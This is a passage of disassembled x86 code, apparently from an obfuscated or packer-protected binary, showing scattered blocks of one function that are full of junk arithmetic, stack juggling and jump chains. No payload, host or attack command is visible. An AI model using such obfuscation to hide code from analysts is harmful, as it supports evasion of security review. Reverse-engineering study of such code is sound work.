		jmp	loc_5A9AFE
; ---------------------------------------------------------------------------


loc_5AF576:				; CODE XREF: sub_58A891+25E04j
		mov	edx, ecx
		pop	ecx
		sub	ecx, 537D0907h
		sub	ecx, edx
		add	ecx, 537D0907h
		jmp	loc_5A552C
; ---------------------------------------------------------------------------


loc_5AF58C:				; CODE XREF: sub_58A891+21E79j
		mov	edx, eax
		pop	eax
		pop	ebp
		add	edx, 40625D61h
		xor	edx, 70065ABEh
		jnb	loc_5AA1E6
		jmp	loc_5A6CE2
; ---------------------------------------------------------------------------
		sub	al, ch
		pop	ecx
		add	bl, al
		mov	al, 8Fh


loc_5AF5AE:				; CODE XREF: sub_58A891+1C875j
					; sub_58A891+22B99j
		pop	eax
		xor	edi, ebp
		push	[esp+80h+var_82+2]
		pop	ebp
		add	esp, 4
		add	ecx, edi
		push	[esp+7Ch+var_7E+2]
		pop	edi
		jmp	loc_59D233
; ---------------------------------------------------------------------------


loc_5AF5C3:				; CODE XREF: sub_58A891+18008j
		add	ecx, 4
		sub	esp, 4
		jmp	loc_5AF768
; ---------------------------------------------------------------------------


loc_5AF5D1:				; CODE XREF: sub_58A891+22902j
		mov	ebp, [esp+8Eh+var_8E]
		sub	esp, 4
		mov	[esp+92h+var_92], ebx
		jmp	loc_5A3BFE
; ---------------------------------------------------------------------------


loc_5AF5DF:				; CODE XREF: sub_58A891+1857Aj
		push	ecx
		mov	ecx, 70EB35E6h
		sub	esi, ecx
		mov	ecx, [esp+2Ah+var_2C+2]
		add	esp, 4
		jmp	loc_5A55AD
; ---------------------------------------------------------------------------
		push	[esp+26h+var_28+2]
		jmp	loc_5A75B3
; ---------------------------------------------------------------------------


loc_5AF5FA:				; CODE XREF: sub_58A891+252F2j
		jnz	loc_5A4AB4
		xchg	eax, esi
		jmp	loc_5A4D36
; ---------------------------------------------------------------------------
		mov	eax, [esp+2Ah+var_2C+2]
		push	ecx
		mov	ecx, esp
		mov	edi, esi


loc_5AF60E:				; CODE XREF: sub_58A891+185F7j
		sub	eax, 6B7E0E56h
		jmp	loc_5AA4EF
; ---------------------------------------------------------------------------
		mov	sp, word ptr [esp+86h+var_86]
		jmp	loc_59FA99
; ---------------------------------------------------------------------------


loc_5AF621:				; CODE XREF: sub_58A891+22311j
		add	esp, 4
		push	eax
		mov	eax, esp
		push	4444h
		mov	[esp+3Eh+var_40+2], esi
		push	ebx
		push	2BF4337Bh
		jmp	loc_5A1645
; ---------------------------------------------------------------------------


loc_5AF63A:				; CODE XREF: sub_58A891+1D85Cj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A3076
; ---------------------------------------------------------------------------


loc_5AF647:				; CODE XREF: sub_58A891+18C61j
					; sub_58A891+23D8Ej
		add	esp, 4
		add	ebp, eax
		pop	eax
		push	edx
		mov	edx, 2
		sub	ebp, 31F44798h
		jmp	loc_5AA37A
; ---------------------------------------------------------------------------


loc_5AF661:				; CODE XREF: sub_58A891+1F684j
		pop	esp
		push	20CFh
		mov	[esp+16h+var_18+2], edi
		push	esp
		jmp	loc_5A3937
; ---------------------------------------------------------------------------


loc_5AF670:				; CODE XREF: sub_58A891+1FB78j
					; sub_58A891+22AC7j
		push	ebx
		mov	ebx, 36082E2Fh
		shl	ebx, 1
		jmp	loc_5A4E64
; ---------------------------------------------------------------------------


loc_5AF67D:				; CODE XREF: sub_58A891+1DA53j
		push	ebx
		mov	ebx, esp
		jmp	loc_5A6ECA
; ---------------------------------------------------------------------------


loc_5AF685:				; CODE XREF: sub_58A891+13727j
		add	eax, ebx
		pop	ebx
		sub	eax, 4
		sub	esp, 4
		mov	[esp+0A0h+var_A2+2], eax
		push	[esp+0A0h+var_9E+2]
		pop	eax
		pop	[esp+0A0h+var_A2+2]
		pop	esp
		mov	[esp+98h+var_9A+2], esi
		jmp	loc_5AD35D
; ---------------------------------------------------------------------------


loc_5AF6A2:				; CODE XREF: sub_58A891+18B67j
		not	ebx
		xchg	ebx, [esp+0A4h+var_A6+2]
		mov	ebp, [esp+0A4h+var_A6+2]
		jmp	loc_5A16E2
; ---------------------------------------------------------------------------


loc_5AF6AF:				; CODE XREF: sub_58A891+126C4j
		sub	edx, 6A932D03h
		jmp	loc_5A5470
; ---------------------------------------------------------------------------


loc_5AF6BA:				; CODE XREF: sub_58A891+164B7j
		add	esp, 4
		sub	eax, 500600FCh
		jmp	loc_5A2A2D
; ---------------------------------------------------------------------------


loc_5AF6CA:				; CODE XREF: sub_58A891+11B43j
					; sub_58A891+2554Cj
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp-26h+arg_1C+2]
		jmp	loc_59E62B
; ---------------------------------------------------------------------------


loc_5AF6D5:				; CODE XREF: sub_58A891+187E0j
		add	edx, ebx
		pop	ebx
		jmp	loc_5A98A4
; ---------------------------------------------------------------------------


loc_5AF6DD:				; CODE XREF: sub_58A891+18743j
		pop	esp
		xor	eax, ebx
		mov	ebx, [esp+12h+var_14+2]
		push	edx
		mov	edx, esp
		push	edi
		jmp	loc_59F7AD
; ---------------------------------------------------------------------------


loc_5AF6EC:				; CODE XREF: sub_58A891+149B5j
		push	edi
		mov	edi, 80008045h
		add	esi, edi
		jmp	loc_59DB93
; ---------------------------------------------------------------------------


loc_5AF6F9:				; CODE XREF: sub_58A891+1C276j
		not	esi
		jmp	loc_5A4810
; ---------------------------------------------------------------------------


loc_5AF700:				; CODE XREF: sub_58A891+1C8A5j
		pop	edx
		add	esp, 4
		push	ecx
		push	[esp+92h+var_8E]
		push	[esp+96h+var_96]
		jmp	loc_5A9B7B
; ---------------------------------------------------------------------------


loc_5AF711:				; CODE XREF: sub_58A891+24C46j
		sub	ebx, 1FD37CA2h
		pop	edi
		and	eax, ebx
		jmp	loc_5AC495
; ---------------------------------------------------------------------------


loc_5AF71F:				; CODE XREF: sub_58A891+1D283j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5A0666
; ---------------------------------------------------------------------------


loc_5AF730:				; CODE XREF: sub_58A891+1625Fj
					; sub_58A891+1FB9Ej
		xchg	ecx, [esp+7Eh+var_7E]
		push	ecx
		not	[esp+82h+var_82]
		pop	ecx
		xchg	ecx, [esp+7Eh+var_7E]
		mov	ecx, [esp+7Eh+var_7E]
		add	esp, 4
		or	ecx, 133B300Ch
		jmp	loc_59CF5A
; ---------------------------------------------------------------------------


loc_5AF74F:				; CODE XREF: sub_58A891+137B0j
		mov	edx, 33625EFDh
		add	ecx, edx
		jmp	loc_5AC5B7
; ---------------------------------------------------------------------------


loc_5AF75B:				; CODE XREF: sub_58A891+1C8C2j
		sub	dh, 0C4h
		xor	ch, dh
		mov	edx, [esp+9Ah+var_9A]
		jmp	loc_5AFE2D
; ---------------------------------------------------------------------------


loc_5AF768:				; CODE XREF: sub_58A891+24D3Bj
		mov	[esp+8Eh+var_8E], edx
		jmp	loc_5ADF23
; ---------------------------------------------------------------------------


loc_5AF770:				; CODE XREF: sub_58A891+1A319j
		add	esp, 4
		push	ecx
		jmp	loc_5AF284
; ---------------------------------------------------------------------------


loc_5AF779:				; CODE XREF: sub_58A891+19162j
		add	edx, esi
		push	[esp+1Eh+var_20+2]
		pop	esi
		add	esp, 4
		xor	edx, [esp+1Ah+var_1C+2]
		xor	[esp+1Ah+var_1C+2], edx
		jmp	loc_5A14AA
; ---------------------------------------------------------------------------
		push	[esp+1Ah+var_1C+2]
		pop	eax
		push	6649h
		mov	[esp+1Eh+var_20+2], ebx
		push	esp
		pop	ebx
		push	edi
		push	edx
		mov	edx, 71EF2361h
		push	eax
		jmp	loc_5B1295
; ---------------------------------------------------------------------------


loc_5AF7A8:				; CODE XREF: sub_58A891:loc_5A64FFj
		neg	eax
		jmp	loc_5AAEB7
; ---------------------------------------------------------------------------


loc_5AF7AF:				; CODE XREF: sub_58A891+122DFj
		xchg	ebx, [esp+82h+var_82]
		pop	esp
		push	3658h
		mov	[esp+82h+var_82], edi
		push	ebp
		jmp	loc_5A0D79
; ---------------------------------------------------------------------------


loc_5AF7C1:				; CODE XREF: sub_58A891+1DF03j
		push	edi
		mov	edi, 765C1B8Bh
		jmp	loc_5A7031
; ---------------------------------------------------------------------------


loc_5AF7CC:				; CODE XREF: sub_58A891+26AB0j
		xor	edi, 0BDF38B4h
		xor	edi, 7C3A416Bh
		neg	edi
		xor	edi, 0A9746ADh
		xor	edi, 384963E2h
		add	edi, 0C3B5B393h
		xor	edx, edi
		jmp	loc_59D781
; ---------------------------------------------------------------------------


loc_5AF7F3:				; CODE XREF: sub_58A891+1BC2Dj
		not	ecx
		shr	ecx, 5
		xor	ecx, 27D54319h
		add	esi, ecx
		pop	ecx
		add	esi, ebp
		sub	esi, 23CA67D9h
		add	esi, 57550725h
		pop	ebp
		xchg	esi, [esp+0AEh+var_AE]
		pop	esp
		sar	[esp+0AAh+var_AA], cl
		pushf
		jmp	loc_5A72A2
; ---------------------------------------------------------------------------


loc_5AF81D:				; CODE XREF: sub_58A891+1E6A4j
		push	ecx
		mov	ecx, 1F78641Ah
		xor	ecx, 29780CEBh
		push	edx
		mov	edx, 0DD95C3Eh
		sub	ecx, 5A686634h
		sub	ecx, edx
		add	ecx, 5A686634h
		mov	edx, [esp+96h+var_96]
		add	esp, 4
		and	esi, ecx
		jmp	loc_5AC325
; ---------------------------------------------------------------------------


loc_5AF84A:				; CODE XREF: sub_58A891+14576j
		sub	esp, 4
		mov	[esp+7Ch+var_7E+2], edx
		mov	edx, 2EAE5B3Dh
		push	eax
		mov	eax, 47B74912h
		xor	edx, eax
		pop	eax
		add	edx, 10F09D37h
		mov	ecx, edx
		pop	edx
		jmp	loc_5A7C76
; ---------------------------------------------------------------------------


loc_5AF86C:				; CODE XREF: sub_58A891+1B7C1j
		xor	ebx, 52A64535h
		jmp	loc_5A70E3
; ---------------------------------------------------------------------------


loc_5AF877:				; CODE XREF: sub_58A891+261B6j
		jz	loc_5A4BC9
		xchg	edx, ebx
		not	edx
		xchg	edx, ebx
		or	ebx, 6297610h
		push	3C12h
		mov	[esp+92h+var_92], ebp
		mov	ebp, 23AF6BFEh
		neg	ebp
		push	ecx
		jmp	loc_5AFB3E
; ---------------------------------------------------------------------------


loc_5AF89E:				; CODE XREF: sub_58A891+12EC8j
		mov	eax, [esp+8Eh+var_8E]
		add	esp, 4
		push	eax
		push	0FB0h
		mov	[esp+92h+var_92], esp
		add	[esp+92h+var_92], 4
		pop	eax
		jmp	loc_5A100B
; ---------------------------------------------------------------------------


loc_5AF8BA:				; CODE XREF: sub_58A891+1B324j
		sub	edi, 63F16C5Ah
		mov	esi, edi
		pop	edi
		jmp	loc_5AB47A
; ---------------------------------------------------------------------------


loc_5AF8C8:				; CODE XREF: sub_58A891+18C4Aj
		mov	ebp, [esp+1Ah+var_1C+2]
		jmp	loc_5A6932
; ---------------------------------------------------------------------------


loc_5AF8D0:				; CODE XREF: sub_58A891+162D8j
		add	eax, edx
		sub	eax, 36DB47F7h
		pop	edx
		sub	edx, eax
		pop	eax
		jmp	loc_5A65AA
; ---------------------------------------------------------------------------
		neg	byte ptr [esp-26h+arg_1C+2]
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AF8E9:				; CODE XREF: sub_58A891+170F5j
		add	ebp, edx
		sub	ebp, 6E27520Eh
		jmp	loc_5A1A61
; ---------------------------------------------------------------------------


loc_5AF8F6:				; CODE XREF: sub_58A891+20E63j
		push	small word ptr [eax]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AF8FE:				; CODE XREF: sub_58A891+1937Bj
		xor	edx, 7F5320C2h
		xor	eax, edx
		mov	edx, [esp-0Ah+arg_0+2]
		add	esp, 4
		xor	esi, eax
		push	[esp-0Eh+arg_4+2]
		pop	eax
		jmp	loc_59CA35
; ---------------------------------------------------------------------------


loc_5AF91A:				; CODE XREF: sub_58A891+1BCF3j
		mov	esi, 1F2E34FAh
		jmp	loc_59DD44
; ---------------------------------------------------------------------------


loc_5AF924:				; CODE XREF: sub_58A891+12D5Cj
		push	20Dh
		jmp	loc_5A2C67
; ---------------------------------------------------------------------------


loc_5AF92E:				; CODE XREF: sub_58A891:loc_5AAEB7j
		sub	eax, 0FE4C0695h
		mov	ebp, eax
		mov	eax, [esp+1Ah+var_1C+2]
		push	ecx
		mov	ecx, esp
		jmp	loc_5A7988
; ---------------------------------------------------------------------------


loc_5AF940:				; CODE XREF: sub_58A891:loc_5A1941j
					; sub_58A891+18639j
		push	ebp
		jmp	loc_5A2693
; ---------------------------------------------------------------------------


loc_5AF946:				; CODE XREF: sub_58A891+1D5E2j
		neg	edx
		sub	edx, 362577C8h
		and	edx, 0E0F04E7h
		or	edx, 7A5E10A9h
		add	edx, 81A1EB19h
		add	ebp, edx
		pop	edx
		push	ebp
		jmp	loc_5AA560
; ---------------------------------------------------------------------------


loc_5AF969:				; CODE XREF: sub_58A891+1E756j
		pop	ebp
		xor	ebx, 0B6E43D60h
		sub	edi, 5A7F3144h
		jmp	loc_5AB15D
; ---------------------------------------------------------------------------


loc_5AF97B:				; CODE XREF: sub_58A891+25C05j
		sub	eax, 5D6F1258h
		mov	[eax], edx
		pop	eax
		push	[esp-12h+arg_8+2]
		jmp	loc_5AADC5
; ---------------------------------------------------------------------------


loc_5AF98B:				; CODE XREF: sub_58A891+1EE9Bj
		mov	ecx, 2B5E0AE7h
		push	ebx
		jmp	loc_5AF54D
; ---------------------------------------------------------------------------


loc_5AF996:				; CODE XREF: sub_58A891+1492Aj
		neg	ebp
		add	ebp, 59FCE606h
		add	edx, 20401777h
		jmp	loc_5A1C05
; ---------------------------------------------------------------------------


loc_5AF9A9:				; CODE XREF: sub_58A891+1FA45j
		jmp	loc_59F6C6
; ---------------------------------------------------------------------------


loc_5AF9AE:				; CODE XREF: sub_58A891+16A82j
		pop	esi
		add	ebx, 1
		jmp	loc_59EDC1
; ---------------------------------------------------------------------------


loc_5AF9BA:				; CODE XREF: sub_58A891+13990j
		push	[esp+1Ah+var_1C+2]
		mov	ecx, [esp+1Eh+var_20+2]
		add	esp, 4
		push	3A05h
		mov	[esp+1Eh+var_20+2], eax
		jmp	loc_5B170B
; ---------------------------------------------------------------------------


loc_5AF9D3:				; CODE XREF: sub_58A891+13532j
		add	esp, 4
		sub	ecx, 16AA292Dh
		add	ecx, esi
		add	ecx, 16AA292Dh
		jmp	loc_5B29B7
; ---------------------------------------------------------------------------


loc_5AF9E9:				; CODE XREF: sub_58A891+13676j
		mov	ebp, 2C254BD9h
		xor	ebp, 396612A4h
		jmp	loc_5A5C1C
; ---------------------------------------------------------------------------


loc_5AF9F9:				; CODE XREF: sub_58A891+2066Aj
		push	esp
		mov	ebp, [esp+0D2h+var_D4+2]
		push	ecx
		jmp	loc_5A4F2C
; ---------------------------------------------------------------------------


loc_5AFA03:				; CODE XREF: sub_58A891+13549j
		pop	ebx
		push	ecx
		mov	ecx, ebp
		push	ecx
		jmp	loc_5A4F8D
; ---------------------------------------------------------------------------


loc_5AFA0D:				; CODE XREF: sub_58A891+22B5Fj
		mov	ecx, 94F23CDFh
		xor	ebx, ecx
		pop	ecx
		and	eax, ebx
		mov	ebx, [esp+86h+var_86]
		add	esp, 4
		or	eax, eax
		jz	loc_5A6261
		push	dword ptr [edi+1Ch]
		push	6A74h
		mov	[esp+8Ah+var_8A], edx
		push	ebx
		mov	ebx, 5A4157C4h
		mov	edx, ebx
		pop	ebx
		xor	[esp+8Ah+var_86], edx
		push	[esp+8Ah+var_8A]
		pop	edx
		push	edx
		mov	edx, esp
		jmp	loc_5ACB8F
; ---------------------------------------------------------------------------


loc_5AFA4C:				; CODE XREF: sub_58A891+1922Ej
					; sub_58A891+279ECj
		pop	edx
		push	eax
		jmp	loc_5AAD31
; ---------------------------------------------------------------------------


loc_5AFA53:				; CODE XREF: sub_58A891+1918Bj
		mov	ebp, 4
		jmp	loc_5A85AD
; ---------------------------------------------------------------------------


loc_5AFA5D:				; CODE XREF: sub_58A891+174F1j
		add	eax, ebx
		pop	ebx
		sub	eax, 36A624C2h
		sub	eax, ecx
		add	eax, 36A624C2h
		sub	eax, 484466A6h
		push	[esp-16h+arg_E]
		pop	ecx
		jmp	loc_59E5FC
; ---------------------------------------------------------------------------


loc_5AFA7A:				; CODE XREF: sub_58A891+16422j
		sub	esp, 4
		mov	[esp+22h+var_24+2], eax
		jmp	loc_5ADEC1
; ---------------------------------------------------------------------------


loc_5AFA88:				; CODE XREF: sub_58A891+13384j
		add	edi, esi
		pop	esi
		add	edi, 4
		xor	edi, [esp+0Eh+var_10+2]
		xor	[esp+0Eh+var_10+2], edi
		xor	edi, [esp+0Eh+var_10+2]
		jmp	loc_5A8D35
; ---------------------------------------------------------------------------


loc_5AFA9F:				; CODE XREF: sub_58A891+2351Bj
		add	esp, 2
		add	al, 53h
		sub	al, bl
		jmp	loc_5ABB16
; ---------------------------------------------------------------------------


loc_5AFAAE:				; CODE XREF: sub_58A891+25B4Fj
		pop	ecx
		add	dl, 39h
		add	al, 0Bh
		sub	al, dl
		sub	al, 0Bh
		pop	edx
		jmp	loc_59D13A
; ---------------------------------------------------------------------------


loc_5AFABE:				; CODE XREF: sub_58A891+21828j
		pop	esp
		xor	esi, edx
		pop	edx
		sub	eax, 49576EFCh
		add	eax, esi
		push	ecx
		mov	ecx, 49576EFCh
		jmp	loc_5ADCDE
; ---------------------------------------------------------------------------


loc_5AFAD4:				; CODE XREF: sub_58A891+1FD24j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+82h+var_82]
		pop	esp
		mov	[esp+7Eh+var_7E], eax
		jmp	loc_5A3FDB
; ---------------------------------------------------------------------------


loc_5AFAEB:				; CODE XREF: sub_58A891+1EDB7j
		xchg	edi, [esp+84h+var_86+2]
		jmp	loc_59D32E
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5AE82A
; ---------------------------------------------------------------------------


loc_5AFAF9:				; CODE XREF: sub_58A891+1895Bj
					; sub_58A891+197BDj
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		jmp	loc_5A7DA7
; ---------------------------------------------------------------------------


loc_5AFB0F:				; CODE XREF: sub_58A891:loc_5A44AAj
		add	ebp, 0F777FFA8h
		push	ebp
		add	[esp+2+var_4+2], 6986148h
		jmp	loc_5A6904
; ---------------------------------------------------------------------------


loc_5AFB22:				; CODE XREF: sub_58A891+1AA4Fj
					; sub_58A891+26BBDj
		push	ebx
		mov	ebx, 4
		jmp	loc_5A3116
; ---------------------------------------------------------------------------


loc_5AFB2D:				; CODE XREF: sub_58A891+135F9j
					; sub_58A891+240A9j
		pop	ebp
		mov	edi, [esp+12h+var_14+2]
		add	esp, 4
		push	23D5h
		jmp	loc_5A09A9
; ---------------------------------------------------------------------------


loc_5AFB3E:				; CODE XREF: sub_58A891+25008j
		mov	ecx, esp
		jmp	loc_59DB52
; ---------------------------------------------------------------------------


loc_5AFB45:				; CODE XREF: sub_58A891+204C8j
		mov	esi, esp
		jmp	loc_5A530E
; ---------------------------------------------------------------------------


loc_5AFB4C:				; CODE XREF: sub_58A891+11D02j
		add	ebx, 63E134ECh
		pop	ebp
		mov	edx, ebx
		pop	ebx
		sub	edx, 5F3F4DACh
		jmp	loc_5A8CF4
; ---------------------------------------------------------------------------


loc_5AFB61:				; CODE XREF: sub_58A891+1511Cj
		add	edx, 0FF63CD03h
		add	eax, edx
		push	[esp-16h+arg_E]
		pop	edx
		add	esp, 4
		jmp	loc_59D3E8
; ---------------------------------------------------------------------------


loc_5AFB78:				; CODE XREF: sub_58A891+14D20j
					; sub_58A891+1DA12j
		neg	dword ptr [esp+0]
		jmp	loc_59BFE0
; ---------------------------------------------------------------------------


loc_5AFB80:				; CODE XREF: sub_58A891+1CB0Fj
					; sub_58A891:loc_5A7D96j
		shl	esi, 8
		jmp	loc_5AF5FA
; ---------------------------------------------------------------------------


loc_5AFB88:				; CODE XREF: sub_58A891+1B627j
		xor	ebx, eax
		push	ebx
		jmp	loc_5A72A7
; ---------------------------------------------------------------------------


loc_5AFB90:				; CODE XREF: sub_58A891+17327j
		add	eax, ebx
		push	[esp+0Eh+var_10+2]
		pop	ebx
		add	esp, 4
		add	eax, 2
		xor	eax, [esp+0Ah+var_C+2]
		xor	[esp+0Ah+var_C+2], eax
		xor	eax, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		mov	ax, word ptr [esp+0Ah+var_C+2]
		push	eax
		push	4DA0h
		push	esp
		pop	[esp+16h+var_18+2]
		push	5DBDh
		mov	[esp+16h+var_18+2], ecx
		mov	ecx, 4
		jmp	loc_5A9D4E
; ---------------------------------------------------------------------------


loc_5AFBCA:				; CODE XREF: sub_58A891+1F639j
		add	edx, 0D252F60h
		shl	edx, 5
		xor	edx, 381A7A16h
		jmp	loc_5AA573
; ---------------------------------------------------------------------------


loc_5AFBDE:				; CODE XREF: sub_58A891+200DFj
		mov	eax, 7B263D4Fh
		xor	eax, 638403CBh
		shr	eax, 1
		shr	eax, 1
		and	eax, 5B820ED1h
		push	edx
		mov	edx, 28356EB1h
		neg	edx
		or	edx, 33375BC2h
		jmp	loc_59FE4B
; ---------------------------------------------------------------------------


loc_5AFC04:				; CODE XREF: sub_58A891+15CCFj
		push	edi
		mov	edi, 34207FE2h
		sub	edi, 5FDA2C24h
		jmp	loc_5A3FE1
; ---------------------------------------------------------------------------


loc_5AFC15:				; CODE XREF: sub_58A891+178DBj
		mov	[esp+0], ebx
		push	2439h
		mov	[esp+0], eax
		jmp	loc_5A0CF4
; ---------------------------------------------------------------------------


loc_5AFC25:				; CODE XREF: sub_58A891+26ED8j
		mov	esi, esp
		jmp	loc_59C66D
; ---------------------------------------------------------------------------


loc_5AFC2C:				; CODE XREF: sub_58A891+1A147j
					; sub_58A891+26DAEj
		sub	dl, 80h
		xor	dl, 3Ch
		push	ebx
		mov	bh, dl
		mov	ch, bh
		jmp	loc_5ADB10
; ---------------------------------------------------------------------------


loc_5AFC3C:				; CODE XREF: sub_58A891+16496j
		push	330Bh
		mov	[esp+66h+var_68+2], esp
		add	[esp+66h+var_68+2], 4
		mov	eax, [esp+66h+var_68+2]
		add	esp, 4
		jmp	loc_5AAC09
; ---------------------------------------------------------------------------


loc_5AFC56:				; CODE XREF: sub_58A891+14FB8j
		mov	esi, 4
		push	ebp
		push	ebx
		mov	ebx, esi
		mov	ebp, ebx
		jmp	loc_59D30E
; ---------------------------------------------------------------------------


loc_5AFC66:				; CODE XREF: sub_58A891+25EB3j
		add	ecx, esi
		jmp	loc_5ACA0E
; ---------------------------------------------------------------------------


loc_5AFC6D:				; CODE XREF: sub_58A891+241E8j
		push	ebx
		push	[esp+0E6h+var_E4+2]
		pop	ebx
		jmp	loc_5AD687
; ---------------------------------------------------------------------------


loc_5AFC78:				; CODE XREF: sub_58A891+151F7j
					; sub_58A891+1FBBFj
		push	ebx
		push	edi
		push	ebx
		jmp	loc_5AFEFF
; ---------------------------------------------------------------------------


loc_5AFC80:				; CODE XREF: sub_58A891+24957j
		push	esi
		push	[esp+0Eh+var_C+2]
		pop	esi
		pop	[esp+0Eh+var_10+2]
		pop	esp
		push	5A67h
		mov	[esp+0Ah+var_C+2], ecx
		jmp	loc_5AFFBF
; ---------------------------------------------------------------------------


loc_5AFC97:				; CODE XREF: sub_58A891+16B11j
		add	eax, ebx
		add	eax, 1E327058h
		push	edi
		push	48FB609Ch
		jmp	loc_5A1525
; ---------------------------------------------------------------------------


loc_5AFCA9:				; CODE XREF: sub_58A891+2297Cj
		push	3849h
		mov	[esp+8Ah+var_8A], ebx
		mov	ebx, 2DAD364Eh
		inc	ebx
		push	edi
		mov	edi, 0A1448A1h
		and	edi, 715D4D7Ah
		jmp	loc_5AE94D
; ---------------------------------------------------------------------------


loc_5AFCC8:				; CODE XREF: sub_58A891+261BEj
		xor	[esp+8Eh+var_8E], esi
		xor	esi, [esp+8Eh+var_8E]
		jmp	loc_5ADA57
; ---------------------------------------------------------------------------


loc_5AFCD3:				; CODE XREF: sub_58A891+26F0Cj
		pop	edx
		mov	ebx, [esp+8Ah+var_8A]
		add	esp, 4
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AFCDF:				; CODE XREF: sub_58A891+22DC2j
		add	edi, edx
		pop	edx
		jmp	loc_59ED09
; ---------------------------------------------------------------------------


loc_5AFCE7:				; CODE XREF: sub_58A891+1BF2Aj
		mov	ebp, [esp+7Ch+var_7E+2]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp+78h+var_7A+2]
		mov	esp, [esp+78h+var_7A+2]
		mov	eax, [esp+78h+var_7A+2]
		push	ebx
		jmp	loc_5B2558
; ---------------------------------------------------------------------------


loc_5AFD02:				; CODE XREF: sub_58A891+1A848j
		mov	[esp+86h+var_86], eax
		jmp	loc_5A3D79
; ---------------------------------------------------------------------------


loc_5AFD0A:				; CODE XREF: sub_58A891+23871j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AFD0F:				; CODE XREF: sub_58A891+149D0j
		add	ecx, esi
		add	ecx, 1247349Dh
		sub	ecx, 328A0793h
		pop	esi
		push	edx
		push	ebp
		jmp	loc_5A4CE8
; ---------------------------------------------------------------------------


loc_5AFD25:				; CODE XREF: sub_58A891+18ACCj
					; sub_58A891+1D3ABj
		dec	edx
		js	loc_5A10B4
		or	edx, 6BBD20EBh
		sub	edx, 34C84981h
		jmp	loc_5A44E5
; ---------------------------------------------------------------------------


loc_5AFD3D:				; CODE XREF: sub_58A891+269CCj
		mov	[esp-16h+arg_E], edx
		jmp	loc_5B0A14
; ---------------------------------------------------------------------------


loc_5AFD45:				; CODE XREF: sub_58A891+244BCj
		add	ecx, ebp
		pop	ebp
		mov	ebx, ecx
		pop	ecx
		jmp	loc_5B277B
; ---------------------------------------------------------------------------


loc_5AFD50:				; CODE XREF: sub_58A891+25F27j
		mov	esp, [esp+5Ah+var_5C+2]
		jmp	loc_5A4E07
; ---------------------------------------------------------------------------


loc_5AFD58:				; CODE XREF: sub_58A891+1ACF9j
		mov	ebx, [esp+7Eh+var_7E]
		jmp	loc_5A006D
; ---------------------------------------------------------------------------


loc_5AFD60:				; CODE XREF: sub_58A891+1787Ej
					; sub_58A891+26850j
		pop	esi
		mov	ebp, esi
		jmp	loc_5A4BDA
; ---------------------------------------------------------------------------


loc_5AFD68:				; CODE XREF: sub_58A891+13B2Ej
		and	ecx, 8420895h
		jbe	loc_59D8D8
		xor	ecx, 73900779h
		jle	loc_5ADD61
		jmp	loc_5AE37E
; ---------------------------------------------------------------------------


loc_5AFD85:				; CODE XREF: sub_58A891+1D80Dj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+8Ah+var_8A]
		jmp	loc_5AD9FF
; ---------------------------------------------------------------------------


loc_5AFD9B:				; CODE XREF: sub_58A891+276D6j
		xor	[esp+8Ah+var_86], ecx
		jmp	loc_59CAFB
; ---------------------------------------------------------------------------


loc_5AFDA4:				; CODE XREF: sub_58A891+141EFj
		mov	ecx, [esp+84h+var_86+2]
		push	ecx
		jmp	loc_5A3B1E
; ---------------------------------------------------------------------------


loc_5AFDAD:				; CODE XREF: sub_58A891+27FDCj
		sub	eax, 4
		xchg	eax, [esp+88h+var_8A+2]
		pop	esp
		mov	[esp+84h+var_86+2], edx
		mov	edx, 2
		add	edi, edx
		pop	edx
		push	edi
		push	[esp+84h+var_82+2]
		mov	edi, [esp+88h+var_8A+2]
		sub	esp, 4
		mov	[esp+8Ch+var_8E+2], esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_5AF6CA
; ---------------------------------------------------------------------------


loc_5AFDE2:				; CODE XREF: sub_58A891+1427Fj
		and	esi, 4E474E1Bh
		not	esi
		add	esi, 43A35E54h
		jmp	loc_5A4752
; ---------------------------------------------------------------------------


loc_5AFDF5:				; CODE XREF: sub_58A891+12C67j
		mov	dh, 0E4h
		push	ebx
		mov	bl, dh
		mov	al, bl
		jmp	loc_5B239B
; ---------------------------------------------------------------------------


loc_5AFE01:				; CODE XREF: sub_58A891+18C7Cj
		push	ebp
		mov	ebp, 75651164h
		neg	ebp
		not	ebp
		neg	ebp
		xor	ebp, 0F74BDFA2h
		add	eax, ebp
		pop	ebp
		push	[esp+2Ch+var_2C]
		mov	ecx, [esp+30h+var_30]
		add	esp, 4
		add	esp, 4
		jmp	loc_5AC5DF
; ---------------------------------------------------------------------------


loc_5AFE2D:				; CODE XREF: sub_58A891+24ED2j
		add	esp, 4
		xor	bh, ch
		jmp	loc_5A7C8F
; ---------------------------------------------------------------------------


loc_5AFE37:				; CODE XREF: sub_58A891+239E5j
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	377Fh
		mov	[esp+7Eh+var_7E], esi
		push	ebx
		push	23F54593h
		pop	ebx
		push	ebp
		mov	ebp, 23F5466Fh
		xor	ebx, ebp
		pop	ebp
		mov	esi, ebx
		pop	ebx
		push	ebx
		push	0DB17D52h
		pop	ebx
		jmp	loc_5B24CF
; ---------------------------------------------------------------------------


loc_5AFE67:				; CODE XREF: sub_58A891+1F761j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+92h+var_92]
		pop	esp
		xchg	edi, [esp+8Eh+var_8E]
		pop	esp
		push	edi
		mov	edi, esp
		jmp	loc_5ADF71
; ---------------------------------------------------------------------------


loc_5AFE83:				; CODE XREF: sub_58A891+22A3Dj
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5B04B0
; ---------------------------------------------------------------------------


loc_5AFE9C:				; CODE XREF: sub_58A891+17DC1j
		pop	ebx
		add	esp, 4
